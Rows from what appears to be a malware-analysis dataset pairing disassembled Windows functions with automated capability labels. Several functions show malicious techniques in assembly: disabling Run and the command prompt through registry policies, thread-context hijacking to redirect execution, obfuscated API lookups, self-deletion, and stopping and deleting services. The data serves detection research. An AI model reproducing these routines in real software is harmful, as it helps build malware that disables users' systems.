joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f30
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x408068
call sym._EnterCriticalSection_4
mov ebx, dword [0x408060]
sub esp, 4
test ebx, ebx
je 0x401f7b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401f74
test esi, esi
je 0x401f74
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f50
mov dword [esp], 0x408068
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402160
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4021b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402288
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x4021ee
cmp eax, 4
jne 0x402210
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x4021fe
cmp edx, 4
je 0x4021fe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402160
Function at 0x10001400
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002545a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.1000941b
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
jne 0x100014af
lea eax, [ebp - 0x20]
mov dword [ebp - 0x24], vtable.std::exception.0
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x1002e888
xorps xmm0, xmm0
mov byte [ebp - 0x14], 1
push eax
movq qword [ebp - 0x20], xmm0
call fcn.1000a688
add esp, 8
mov dword [ebp - 0x24], vtable.std::runtime_error.0
lea eax, [ebp - 0x24]
push 0x10030a74
push eax
call fcn.1000c60a
push eax
push esi
call fcn.10009763
mov ecx, dword [ebp - 0xc]
add esp, 8
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x10003e80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x100254c8
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x10003fbc
cmp byte [ebx + 0x3d], 0
je 0x10003fbc
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
sete al
test al, al
je 0x10003ed8
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 8
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.100039c0
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 0x10
lea eax, [ebp - 0x10]
mov ecx, dword [ebx + 0x38]
lea edi, [ebp - 0x28]
cmovae edi, dword [ebp - 0x28]
lea esi, [ebp - 0x28]
cmovae esi, dword [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x40]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x10003f3e
sub eax, 1
je 0x10003f42
mov ecx, dword [ebp - 0x14]
sub eax, 2
je 0x10003f95
xor bl, bl
jmp 0x10003f97
mov byte [ebx + 0x3d], 0
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov edx, dword [ebp - 0x28]
cmp ecx, 0x10
mov esi, dword [ebp - 0x10]
cmovae eax, edx
sub esi, eax
je 0x10003f77
push dword [ebx + 0x4c]
cmp ecx, 0x10
lea eax, [ebp - 0x28]
push esi
cmovae eax, edx
push 1
push eax
call fcn.1000f8de
mov ecx, dword [ebp - 0x14]
add esp, 0x10
cmp esi, eax
jne 0x10003f3a
cmp byte [ebx + 0x3d], 0
je 0x10003f95
test esi, esi
jne 0x10003f00
push esi
push 8
lea ecx, [ebp - 0x28]
call fcn.10003b30
jmp 0x10003efd
mov bl, 1
cmp ecx, 0x10
jb 0x10003fa9
inc ecx
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x28]
call fcn.100042d0
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004160
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100254e6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
push edi
mov edi, ecx
push 8
mov dword [ebp - 0x10], edi
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10008618
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.10009660
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x10], ecx
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x34], esi
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov ecx, edi
mov eax, dword [edi + 0x20]
push 0
push dword [ebp + 8]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov dword [edi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
call fcn.10003fd0
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4

Function at 0x100044c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x100254e6
push eax
mov dword fs:[0], esp
push esi
push edi
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.10008618
mov esi, eax
push 1
mov dword [ebp - 4], 0
call fcn.10009660
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov ecx, dword [ebp - 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10005810
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10025648
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x74
push esi
mov esi, ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp - 0x80]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x80], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0x67452301
mov dword [ebp - 0x30], 0xefcdab89
mov dword [ebp - 0x2c], 0x98badcfe
mov dword [ebp - 0x28], 0x10325476
call fcn.10005600
lea ecx, [ebp - 0x80]
call fcn.100056b0
push esi
lea ecx, [ebp - 0x80]
call fcn.10005740
mov eax, dword [ebp + 0x1c]
cmp eax, 0x10
jb 0x100058aa
inc eax
lea ecx, [ebp + 8]
push eax
push dword [ebp + 8]
call fcn.100042d0
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x100058c0
Capabilities:
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 8]
mov dword [ebp - 4], 1
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesExplorer
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
push str.NoRun
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 1
push eax
push str.SOFTWAREPoliciesMicrosoftWindowsSystem
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 4
lea eax, [ebp - 0xc]
push eax
push 4
push 0
push str.DisableCMD
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esp, ebp
pop ebp
ret
Function at 0x10005930
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov edx, 0x80
xor ecx, ecx
mov dword [ebp - 4], ecx
xor eax, eax
test cl, 1
cmovne eax, edx
shr ecx, 1
test cl, 1
je 0x10005956
bts eax, 6
shr ecx, 1
test cl, 1
je 0x10005961
bts eax, 5
shr ecx, 1
test cl, 1
je 0x1000596c
bts eax, 4
shr ecx, 1
test cl, 1
je 0x10005977
bts eax, 3
shr ecx, 1
test cl, 1
je 0x10005982
bts eax, 2
shr ecx, 1
test cl, 1
je 0x1000598d
bts eax, 1
test cl, 2
je 0x10005996
bts eax, 0
shl eax, 0x18
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
add eax, eax
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov ebx, ecx
and ebx, 0x80000000
neg ebx
lea eax, [ecx + ecx]
sbb ebx, ebx
and ebx, 0x4c11db7
xor ebx, eax
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [edi + eax*4], ebx
lea esi, [edi + eax*4]
lea ecx, [edx + 1]
nop
test bl, 1
je 0x10005a6f
mov eax, 0x20
sub eax, ecx
bts edx, eax
inc ecx
shr ebx, 1
cmp ecx, 0x21
jl 0x10005a60
mov ecx, dword [ebp - 4]
inc ecx
mov dword [esi], edx
mov dword [ebp - 4], ecx
mov edx, 0x80
cmp ecx, 0xff
jle 0x10005943
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10005aa0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push 0x1002e9e0
push dword [ebp + 8]
mov dword [ebp - 4], ecx
push eax
mov dword [edi], 0xffffffff
mov dword [ebp + 0xc], 0
call fcn.10010228
add esp, 0xc
test eax, eax
je 0x10005ad9
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 0xc
push ebx
push 0x400
call fcn.100100eb
add esp, 4
mov ebx, eax
mov dword [ebp + 8], ebx
push dword [ebp + 0xc]
test ebx, ebx
jne 0x10005b05
call fcn.1000f121
add esp, 4
xor al, al
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
push 0x400
push 1
push ebx
call fcn.10012f5f
add esp, 0x10
test eax, eax
je 0x10005b5f
push esi
nop word [eax + eax]
mov esi, ebx
test eax, eax
je 0x10005b47
mov ebx, dword [edi]
lea esi, [esi + 1]
movzx ecx, byte [esi - 1]
movzx edx, bl
xor edx, ecx
shr ebx, 8
mov ecx, dword [ebp - 4]
xor ebx, dword [ecx + edx*4]
mov dword [edi], ebx
sub eax, 1
jne 0x10005b26
mov ebx, dword [ebp + 8]
push dword [ebp + 0xc]
push 0x400
push 1
push ebx
call fcn.10012f5f
add esp, 0x10
test eax, eax
jne 0x10005b20
pop esi
push ebx
call fcn.1000fc5c
push dword [ebp + 0xc]
call fcn.1000f121
not dword [edi]
add esp, 8
mov al, 1
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10005b80
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
mov edx, 0xd6
push 0xffffffffffffffff
push 0x10025670
push eax
mov dword fs:[0], esp
sub esp, 0x2f0
xor eax, eax
mov cl, byte [eax + 0x1002e9e4]
xor cl, dl
inc edx
mov byte [ebp + eax - 0x23], cl
and edx, 0x800000ff
jns 0x10005bc2
dec edx
or edx, 0xffffff00
inc edx
inc eax
cmp eax, 0x12
jl 0x10005ba5
push esi
mov byte [ebp - 0x11], 0
push 0x3f676e8b
lea ecx, [ebp - 0x2d]
mov dword [ebp - 4], 0
call fcn.10007f30
lea ecx, [ebp - 0x23]
mov byte [ebp - 4], 1
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x10]
mov word [ebp - 0x25], 0
push eax
push 0x40
xorps xmm0, xmm0
mov word [ebp - 0x13], 0
push 0x100
push esi
movq qword [ebp - 0x2d], xmm0
movups xmmword [ebp - 0x23], xmm0
mov byte [ebp - 0x11], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea eax, [ebp - 0x2fc]
mov dword [ebp - 0x2fc], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
lea eax, [ebp - 0x2fc]
mov dword [ebp - 0x24c], 0x100060c0
push eax
push esi
mov dword [ebp - 0x2fc], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x24c]
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x10005eb0
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
push 0xf003f
push 0
push 0
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10005f09
push 0x2c
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
call edi
test esi, esi
je 0x10005f09
lea eax, [ebp - 0x1c]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x10005f14
push str.Service_stopped._n
call fcn.10004e20
add esp, 4
push esi
call edi
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
push str.Error_stopping_service._n
call fcn.10004e20
add esp, 4
push esi
call edi
pop edi
or eax, 0xffffffff
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10005f30
Capabilities:
Delete service

Disassembly:
push esi
push edi
push 0xf003f
push 0
push 0
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x10005f80
push 0xf01ff
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
call edi
test esi, esi
je 0x10005f80
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
je 0x10005f88
push str.Service_deleted._n
call fcn.10004e20
add esp, 4
push esi
call edi
pop edi
mov eax, 1
pop esi
ret
push str.Error_deleting_service._n
call fcn.10004e20
add esp, 4
push esi
call edi
pop edi
or eax, 0xffffffff
pop esi
ret

Function at 0x10005fa0
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
cmp byte [0x10186df8], 0
jne 0x1000608a
push edi
mov edi, dword [0x10186cbc]
cmp byte [edi], 1
ja 0x10006082
push esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 1
push edi
call esi
mov al, byte [0x1002eafc]
mov byte [edi], al
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 1
push edi
call esi
push 0x68bd49e0
lea ecx, [ebp - 0xd]
call fcn.10007fb0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x1000606d
mov esi, 0x1002eb0c
lea ecx, [ebp - 0x33]
sub esi, 0x23ebee28
push esi
call fcn.10008020
push 0xfffffffffffffffe
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
lea ecx, [ebp - 0x33]
call fcn.10008020
push eax
call fcn.1001026f
add esp, 4
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
lea ecx, [ebp - 0x33]
call fcn.10008020
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x10006056
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.100058c0
sub esp, 0x10
push 0xed400
push 0x10032d48
call fcn.100025d0
push 0xed400
push 0
push 0x10032d48
call fcn.1000c4b0
add esp, 0xc
pop esi
mov byte [0x10186df8], 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10007580
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp byte [0x10186de8], 0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x18], eax
jne 0x1000762c
mov edx, 0x9c
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x1002eb6c]
xor al, dl
inc edx
mov byte [ebp + ecx - 0x2a], al
and edx, 0x800000ff
jns 0x100075cd
dec edx
or edx, 0xffffff00
inc edx
inc ecx
cmp ecx, 0xd
jl 0x100075b0
lea eax, [ebp - 0x2a]
mov byte [ebp - 0x1d], 0
push eax
call esi
test eax, eax
je 0x1000762c
mov eax, 0x1002eb6c
lea ecx, [ebp - 0x2a]
sub eax, 0x4b243a18
push eax
call fcn.10008150
push eax
call esi
mov esi, eax
mov dword [ebp - 0x22], 0
xorps xmm0, xmm0
mov word [ebp - 0x1e], 0
movq qword [ebp - 0x2a], xmm0
mov dword [ebp - 8], esi
mov ecx, dword [esi + 0x3c]
mov byte [0x10186de8], 1
mov edi, dword [ecx + esi + 0x1c]
add edi, esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0xc], edi
jmp 0x10007638
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
push 0
push 4
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
push 0x1c
mov dword [ebp - 0x14], eax
call fcn.10008618
mov ebx, eax
add esp, 4
mov dword [ebx], 0x1c
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push ebx
push dword [ebp - 0x14]
mov edi, eax
mov dword [ebp - 0x10], edi
call dword [sym.imp.KERNEL32.dll_Thread32Next]
test eax, eax
je 0x1000774c
mov eax, dword [ebx + 8]
cmp eax, edi
je 0x10007734
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x10007731
mov eax, dword [ebp - 0x18]
cmp dword [ebx + 0xc], eax
jne 0x1000772a
push 0x1002ea74
push 0x1002ea90
call esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x10007709
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0
push 0x40
lea ecx, [ebp - 4]
push ecx
push eax
push edi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x100076e5
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x10007709
push 0
push 4
lea eax, [ebp - 0x1c]
push eax
push 9
push dword [ebp - 4]
call esi
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
test esi, esi
cmovne eax, ecx
cmp eax, dword [ebp - 8]
jb 0x1000772a
mov ecx, edi
call fcn.10005e30
cmp eax, dword [ebp - 0xc]
ja 0x1000772a
cmp byte [0x10186de8], 0
je 0x1000772a
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp - 0x10]
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_Thread32Next]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10007674
push 0x1c
push ebx
mov byte [0x10186de8], 0
call fcn.10008970
add esp, 8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100160a9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10015f28

Function at 0x1001c596
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001c256
Function at 0x406310
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47762b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0046c6ee
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x406392
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0046a600
mov eax, dword [eax]
push 0x491c58
push eax
call fcn.0045d314
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0046c979
test bl, bl
je 0x406392
push 0x491c58
lea ecx, [esp + 0xc]
call fcn.0046cd09
push 0x491c64
lea ecx, [esp + 0xc]
call fcn.0046cd09
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4063ce
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0046c979
jmp 0x406499
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x406452
lea edx, [esp + 0x7c]
push 0x491c60
push edx
call fcn.0045d314
add esp, 8
test eax, eax
je 0x406452
lea eax, [esp + 0x7c]
push 0x491c5c
push eax
call fcn.0045d314
add esp, 8
test eax, eax
je 0x406452
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4063e2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0046c979
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x406ca0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x406d02
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc